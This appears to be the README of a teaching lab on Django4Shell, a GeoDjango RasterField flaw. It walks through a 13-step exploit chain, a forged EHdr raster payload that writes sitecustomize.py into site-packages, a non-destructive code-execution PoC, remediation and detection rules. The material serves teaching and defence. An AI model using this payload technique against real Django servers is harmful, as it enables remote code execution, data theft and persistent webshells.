| Severity | High - CVSS 3.1: 8.8 / CVSS 4.0: 8.7 (CVE record); presented as Critical / P1 by the disclosure site |
| Component | `django.contrib.gis` - `RasterField` field |
| Affected version | Django 6.1.2 (and earlier releases covered by the same branch) |
| Patched versions | Django **6.1.4**, **6.0.11**, **5.2.20** (released December 2, 2026) |
| Authentication requirement | **Staff** / admin account |
| Database required | **No** - the write happens in `form.is_valid()`, before any SQL access |
| GDAL driver used | **EHdr** (present in almost every GDAL build) |
| Entry point | ModelForm / Django admin exposing a `RasterField` |
| Discovery | Mohammed Fathy (Mohamed K. Fathy), Robusta Technology Group |
| Report | 2026-12-02 - django4shell.com |
Software concerned (list from the research site): Django Admin, Wagtail CMS,
Django REST Framework, GeoDjango + PostGIS, django-tastypie, Mezzanine CMS,
mapping/GIS applications, Django CMS - any project whose ModelForm or admin
Django4Shell is the last link in a chain of three successive fixes, each one
incomplete - a valuable textbook case on the discipline required to close a
| Date | Reference | What was covered | What remained open |
| August 2026 | **CVE-2026-15307** | First hardening of the GeoDjango *spatial lookups* | Bypass through `bytes` values in lookups |
| October 2026 (fix shipped in Django 6.1.2) | **CVE-2026-87890** | New guard `check_raster_lookup_value()`: rejects `dict`, `str` and `bytes` in QuerySet **lookups** (`DisallowedRasterLookup` exception, a `SuspiciousOperation`) | The guard **never** runs on the field assignment path (`SpatialProxy`), nor on ModelForms |
| December 2, 2026 (fix in 6.1.4 / 6.0.11 / 5.2.20) | **CVE-2026-124827 / Django4Shell** | `RasterField` no longer editable by default; `init_raster` hook restricting assignment to in-memory (`MEM`) definitions only | (attack surface removed at the source) |
The lesson: hardening an *entry point* (lookups) is not enough when the
*dangerous primitive* (building a `GDALRaster` from a user-controlled
dictionary, with a disk write) remains reachable through another path of the
## 3. Anatomy of the exploit chain (13 steps)
All the code references quoted below were verified in the real source code of
Django 6.1.2 (files `django/contrib/gis/...`) and reproduced in this lab.
The number 1 prerequisite of the attack. A *staff* account can come from
phishing, a poorly protected service account, a former employee account never
deactivated, or a client to whom high privileges were entrusted. The attack
does **not** require superuser privileges: `is_staff` is enough to access the
Any view that displays a ModelForm containing the raster field: the Django
admin (`RasterField` is *editable* by default in 6.1.2, hence present in the
ModelAdmin), or an application ModelForm. `RasterField` has **no**
specialized form field: `RasterField.formfield()` inherits the generic
behavior of `django.db.models.Field` and produces a plain text field. The
POSTed value is therefore an arbitrary **JSON string**.
### Step 3 - Submitting the forged raster
The attacker POSTs a JSON that describes a GDAL raster. The payload
"name": "/usr/local/lib/python3.12/site-packages/sitecustomize.py",
"bands": [{"datatype": 1, "data": [116, 114, 121, 58, ...]}]
- `"driver": "EHdr"` - the *ESRI .hdr Labelled* driver of GDAL. Its CREATE
mode writes the **raw pixels** to the target file, without compression or
- `"name"` - the write path is taken **as is** from the dictionary: this is
- `"datatype": 1` (GDT_Byte) - one pixel = one byte. `"height": 1` and
`"width": len(code)` make the band contain exactly the ASCII bytes of the
- `"bands[0].data"` - the list of ASCII codes of the file to write.
### Step 4 - `form.is_valid()` starts the cascade
`Form.is_valid()` -> `Form.full_clean()` -> `ModelForm._post_clean()`. This
is where the ModelForm transfers the cleaned data to the model instance.
### Step 5 - `construct_instance()`: assignment without a guard
`_post_clean()` calls `construct_instance()` (django/forms/models.py), which
does `f.save_form_data(instance, cleaned_data[f.name])` - that is,
The **`SpatialProxy.__set__`** descriptor (django/contrib/gis/db/models/proxy.py)
accepts the value without any verification:
value is None or isinstance(value, (str, dict, self._klass))
# For raster fields, ensure input is None or a string, dict, or
instance.__dict__[self.field.attname] = value
The JSON string is stored **raw** in `instance.__dict__`. Compare with the
lookup path, where `BaseSpatialField.get_raster_prep_value()`
`gdal.GDALRaster.check_raster_lookup_value(value)` - the guard of
CVE-2026-87890. **This guard is called nowhere on the form path**:
`RasterField` overrides neither `to_python` nor `clean`.
### Step 6 - `full_clean()`: the read that triggers everything
`_post_clean()` then calls `instance.full_clean(exclude=..., validate_unique=False)`
-> `clean_fields()` -> `raw_value = getattr(model_instance, field.attname)`.
### Step 7 - `SpatialProxy.__get__` builds the GDALRaster
`__get__` finds a dict in `__dict__` (the JSON string has been pre-processed)
geo_obj = self._load_func(geo_value) # == GDALRaster(dict)
setattr(instance, self.field.attname, geo_obj)
**This is where the file is written** - still inside `form.is_valid()`.
### Step 8 - The constructor forces write mode
`GDALRaster.__init__` (gdal/raster/source.py) treats dictionaries as
# A new raster needs to be created in write mode
driver = Driver(ds_input.get("driver", "MEM"))
force_bytes(ds_input.get("name", "")), # path controlled by the attacker
ds_input["width"], ds_input["height"], ...
`capi.create_ds` is the native function **`GDALCreate()`** loaded through
ctypes from `libgdal`. The default `write=False` parameter of `GDALRaster()`
is ignored for a dict: *"A new raster needs to be created in write mode"*.
### Step 9 - `GDALCreate()` + EHdr driver: the file appears on disk
GDAL creates the dataset at path `"name"` with the EHdr driver, which writes
the raw pixels **as is**. The attacker's Python code is now an
executable-on-import file on the server disk. GDAL also creates companion
files `.hdr` and `.prj` - valuable **detection artifacts**
### Step 10 - Filling the band: the exact content
for i, band_input in enumerate(ds_input.get("bands", [])):
band.data(data=band_input.get("data"), ...)
The ASCII bytes of the payload are flushed to the file. Verified in this lab:
the written file is **byte-for-byte identical** to the expected Python code.
### Step 11 - The database was never contacted
The whole sequence (steps 4 to 10) happens **before** `model.save()`, without
a single SQL query. The research site hammers it: *no PostGIS connection and
no database table required*. The lab demonstrates it concretely: in the
"no database" mode (the lab's `sqlite` mode, unmanaged model, **no table**),
the POST triggers the write exactly the same way. Exploitation depends
neither on PostGIS, nor on the migration state, nor on the database content.
### Step 12 - Execution at startup: the `sitecustomize` mechanism
At the start of **every** Python process, the standard `site` module imports
`sitecustomize.py` automatically if it can be found on `sys.path`.
Note the detail (verified experimentally in this lab): neither the current
directory nor the script directory (`manage.py`) can be used as a target -
they are not yet "active" in `sys.path` when `site` does the import. The
reliable directory is **the `site-packages` of the server interpreter**
(always active) - and it is writable when the process runs as `root`, a very
common case in containers. Hence the target:
`/usr/local/lib/python3.12/site-packages/sitecustomize.py` in the lab's
With the development runserver (as in the lab), the autoreloader restarts a
child process when a watched file changes: the PoC requests this restart
through the `/lab/kick/` endpoint. In production, the attacker simply waits
for a natural restart of the service (deployment, crash, maintenance) - or
### Step 13 - Payload: execution, canary, self-cleanup
At the boot of the new process, `sitecustomize.py` is imported **even before
Django starts**. The lab's payload (non-destructive):
with open('/tmp/d4s_canary.txt', "a") as _f:
_f.write('[Django4Shell PoC - NON DESTRUCTIVE]' + " ")
_base = _os.path.splitext(_os.path.abspath(__file__))[0]
for _p in (_os.path.abspath(__file__), _base + ".hdr", _base + ".prj"):
1. the only command executed is `id` (read-only: process identity);
2. the result is appended to a canary file under `/tmp`;
3. the executed file and the GDAL companions are deleted at the first
4. everything is wrapped in `try/except`: the target process cannot crash,
In a real attack, this primitive would allow any Python code with the
identity of the server process: data exfiltration, persistent webshell (the
files do not self-destruct), network pivot. This is what justifies the
critical rating (the disclosure site labels it P1).
| Condition | How common it is in practice (research site) |
| `django.contrib.gis` enabled + model with a `RasterField` | moderate (government platforms, mapping, GIS, agriculture, environment) |
| `RasterField` exposed through a ModelForm or the default admin | very high (`editable=True` by default in discovery of the target path through `/lab/status/` -> payload
generation -> POST of the form (write) -> `/lab/kick/` (restart) -> waiting
for the canary (output of `id`) -> verification of the self-cleanup. A
target file left over by an earlier run is detected at the discovery step
and removed through the lab's cleanup endpoint first.
`--cleanup` purges the canary and any remaining artifact.
The PoC performs **no** other action: no outbound network, no file modified,
no persistence. Each artifact created is deleted (`sitecustomize.py`,
`sitecustomize.hdr`, `sitecustomize.prj`, canary).
Expected result (validation run of this lab):
[6] Waiting for the execution (the `site` module imports sitecustomize.py)
CANARY RECEIVED - output of the `id` command executed ON THE TARGET:
[Django4Shell PoC - NON DESTRUCTIVE] uid=1001(z) gid=1001(z) groups=1001(z)
[7] Verification of the self-cleanup (non-destructive PoC)
sitecustomize.py still present? NO (self-deleted)
## 6. Remediation - what Django 6.1.4 fixes
The CVE-2026-124827 fix brings **two defenses**. Note that a plain diff
between Django 6.1.2 and 6.1.4 spans two security releases (6.1.3 of November
3, 2026 and 6.1.4 of December 2, 2026), which is why the `gis.W001` check is
often attributed to this fix - see the note at the end of this section.
1. **`RasterField` is no longer editable by default** (`kwargs.setdefault("editable", False)`).
It can therefore no longer appear in a ModelForm nor in the admin: the
attack surface disappears. Application code that declares the field
explicitly in `Meta.fields` raises a `FieldError` at startup:
`'raster' cannot be specified for ... model form as it is a non-editable
field` (a *fail-fast* behavior verified in this lab - it is intentional, so
2. **The `SpatialProxy` descriptor receives an `init_raster` hook** that
rejects any assignment of a dict whose driver is not `MEM`:
# Field assignment should never write files outside of memory.
SpatialProxy(gdal.GDALRaster, self, self.init_raster))
"""Hook to reject dict values with out-of-memory drivers."""
value = gdal.GDALRaster._preprocess_input(ds_input)
and (driver := value.get("driver", "MEM")) is not None
"Only in-memory (MEM) data definitions can be assigned to "
f"RasterField (got: {driver!r}). Wrap the definition in "
Even in case of direct assignment of a dict, no disk write is possible
anymore: the explicit use of a file driver now requires building a
`GDALRaster()` yourself - the "opt-in" behavior that the CVE-2026-87890
guard already asked developers for. Verified detail in this lab: the hook
runs lazily, on the first read of the attribute - the raw dict is stored
at assignment time, and no file is written either way.
> **Note - `gis.W001` is not one of these defenses.** The system check
> `gis.W001` (django/contrib/gis/checks.py, registered under the `gis` and
> `security` tags) warns when GDAL is older than 3.9: *"The installed version
> of GDAL does not allow blocking file and network access"*. It shipped in
> **Django 6.1.3** (November 3, 2026) for two other CVEs (CVE-2026-111362 and
> CVE-2026-114582: request forgery through GeoJSON CRS references and
> `SpatialReference` string input). GDAL 3.9 is the version that introduces
> the configuration allowing Django to block the file/network access of
> spatial sources. It is complementary hardening, not part of the
1. **Update Django immediately**: 6.1.4 (6.1 branch), 6.0.11 (6.0 branch) or
5.2.20 (5.2 branch). The December 2, 2026 release fixes seven
vulnerabilities in total - apply the highest version of your branch.
2. **Look for the explicit uses** of `RasterField` in the `Meta.fields` of the
ModelForms and the ModelAdmins: after the update they will raise a
`FieldError` at startup - adapt them (the field must not be editable on the
3. **Run the process as an unprivileged user** and make `site-packages`
non-writable (read-only container image, root ownership): this breaks the
4. **GDAL >= 3.9** to benefit from the GDAL-side file/network blocking
(protection introduced in Django 6.1.3, reported by the `gis.W001` check;
the lab image ships GDAL 3.10.3, so the check stays silent).
5. **Reduce the number of staff accounts**, enable MFA on the admin, review
the authorizations of clients and service accounts.
6. **Deploy the detection** from DETECTION.md (auditd, Django logs, SIEM
rules): the release of a fix does not prevent attempts - nor the
The complete file with the ready-to-use rules is in
[DETECTION.md](DETECTION.md). Key points:
- **Distinctive filesystem signature**: a `*.py` file immediately followed by
companion files `*.hdr` and `*.prj` with the same base name is the mark of a
write by the EHdr driver of GDAL - a `.py` accompanied by a `.hdr` has no
reason to exist in an application directory.
- **Django log**: any `SuspiciousOperation` (including
`DisallowedRasterLookup`) is logged to the `django.security` logger; a POST
containing a raster JSON with a `"driver"` other than `MEM` on a raster field
is a strong signal (before as well as after the fix).
- **auditd**: monitor file creations in `site-packages` and the `python`
- **Defensive canary**: drop a fake (non-executable, inotify/auditd-watched)
`sitecustomize.py` in `site-packages` - any write is an alert.
### Full Docker mode (recommended for the classroom)
# -> (the port is published on 127.0.0.1 only)
| `teacher` | `teacher2026` | staff - attack surface accessible |
| `student` | `student2026` | non-staff - access denied (to be tested) |
2. generate the JSON: `python3 poc/generate_payload.py > payload.json`;
3. paste the JSON into the "raster data" field of the `/lab/` form (or use
4. the page shows the detected write **during validation**;
5. trigger the restart: POST `/lab/kick/` (or the PoC button);
6. read the canary: GET `/lab/status/` -> `canary.content` contains `uid=...`;
7. observe the self-deletion (`sitecustomize.exists == false`);
### "No database" mode (demonstration of the key point)
The lab also works **without any table** for the raster model:
pip install Django==6.1.2 && apt-get install gdal-bin # Debian/Ubuntu example
# Start from a clean state: a `docker compose` run leaves a generated
# migration (cadastre/migrations/0001_initial.py, postgis-flavored) and a
# db.sqlite3 behind, both of which break the local sqlite mode.
rm -f db.sqlite3 cadastre/migrations/0*.py
# Create the two demo accounts (the Docker entrypoint does this step for you).
D4S_MODE=sqlite python manage.py shell -c "
from django.contrib.auth.models import User
t, _ = User.objects.get_or_create(username='teacher')
t.set_password('teacher2026'); t.is_staff = True; t.is_superuser = True; t.save()
s, _ = User.objects.get_or_create(username='student')
s.set_password('student2026'); s.is_staff = False; s.save()
D4S_MODE=sqlite python manage.py runserver
In `sqlite` mode, the `Parcel` model is declared `managed = False`: the table
never exists, no `save()` is attempted - and the file write by the POST works
**exactly the same way**. This is the direct demonstration of the central
point of Django4Shell: the database is not a necessary link in the chain.
(This is also the mode used to validate this lab end to end without Docker.)
pip install Django==6.1.4 # patched version
D4S_MODE=sqlite python manage.py runserver
# -> the form no longer exposes the raster field; the PoC reports
# "NO write triggered" and no file appears.
| `/lab/` | staff | "cadastral parcel" form (attack surface) |
| `/lab/login/`, `/lab/logout/` | public | login/logout of the lab |
| `/lab/status/` | staff | JSON state: target, canary, purelib, versions |
| `/lab/kick/` | staff (POST) | restarts the process (autoreloader) |
| `/lab/cleanup/` | staff (POST) | purges canary + payload/companions (only if they carry the PoC marker) |
| `/admin/` | staff (postgis mode) | Django admin on the raster model |
|-- README.md <- this document (analysis + guide)
|-- WORKSHEET.md <- student worksheet (8 exercises)
|-- TEACHER_SOLUTIONS.md <- answer key + session plan
|-- DETECTION.md <- auditd / logs / SIEM rules / remediation
|-- docker-compose.yml <- vulnerable Django 6.1.2 app + PostGIS (port bound to 127.0.0.1)
|-- .gitignore <- keeps generated files (sqlite db, runtime migration) out of git
| |-- generate_payload.py <- raster payload construction (id + canary)
| |-- send_poc.py <- automated attack chain (non-destructive)
| `-- requirements_poc.txt <- PoC dependencies (requests)
|-- Dockerfile <- python:3.12-slim + gdal-bin + Django 6.1.2
|-- entrypoint.sh <- migrations + accounts + runserver
|-- requirements.txt <- Django==6.1.2 (vulnerable, pinned)
|-- config/ <- settings (postgis/sqlite modes), urls, wsgi
`-- cadastre/ <- "Cadastre" app of the lab
|-- models.py <- Parcel with RasterField (Meta.managed depends on mode)
|-- forms.py <- ModelForm exposing the raster (vulnerable in 6.1.2)
|-- views.py <- attack surface + PoC observers
|-- admin.py <- admin (postgis mode)
- Disclosure site: - Robusta Technology Group,
Mohammed Fathy (consulted on December 2, 2026).
- The Hacker News, *"New Django4Shell Vulnerability Enables Django RCE via
GeoDjango Form Validation"*, Ravie Lakshmanan, December 2, 2026 -
- NVD, entry CVE-2026-87890 (incomplete fix of CVE-2026-15307) -
- **Django 6.1.2** source code (vulnerable behavior) and **Django 6.1.4**
(fix: `RasterField.__init__`, `init_raster`), analyzed locally (diff of the
PyPI wheels) - file references quoted in section 3. The `gis.W001` check
(`contrib/gis/checks.py`) comes from **Django 6.1.3**, a separate security
- Experimental verifications done for this lab: byte-for-byte identical EHdr
write; `sitecustomize` import at startup from `site-packages` only (not from
the CWD nor the script directory); `.hdr`/`.prj` companion files;
